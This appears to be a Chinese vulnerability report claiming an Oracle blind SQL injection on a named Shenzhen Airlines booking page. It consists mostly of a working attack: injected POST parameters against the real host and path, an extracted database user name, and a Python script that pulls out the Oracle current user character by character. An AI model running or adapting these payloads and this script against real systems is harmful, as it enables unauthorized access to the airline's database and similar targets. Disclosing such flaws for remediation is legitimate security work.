深航某站点存在Oracle盲注附验证python脚本

POST http://miaosha.shenzhenair.com/module/hyfw/inc_flightsegment.jsp
 dstcity=BAV&orgcity=AEB' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=13 AND 'aaa'='aaa

dstcity=BAV&orgcity=AEB' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=13--

B2CSHEBENTER

#encoding=gbk
 import httplib
 import time
 import string
 import sys
 import random
 import urllib
 
 headers = {
     'Content-Type': 'application/x-www-form-urlencoded',
     'Cookie': '',
     'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
 }
 
 payloads = list(string.ascii_lowercase)
 payloads += list(string.ascii_uppercase)
 for i in range(0,10):
     payloads.append(str(i))
     
 
 print 'start to retrive Oracle user:'
 user = ''
 for i in range(1,14,1):
     for payload in payloads:
         conn = httplib.HTTPConnection('miaosha.shenzhenair.com', timeout=30)
         params = {
             'dstcity': 'BAV',
             'orgcity': "AEB' AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s--" % (i, ord(payload))
             }
         conn.request(method='POST',
                      url='/module/hyfw/inc_flightsegment.jsp',
                      body = urllib.urlencode(params),
                      headers = headers)
         start_time = time.time()
         html_doc = conn.getresponse().read().decode('gbk')
         conn.close()
         print '.',
         if html_doc.find(u'<option value="KWL" >G-桂林</option>') > 0:  # true
             user += payload
             print '/n[in progress]', user
             break
 
 print '/nOracle user is', user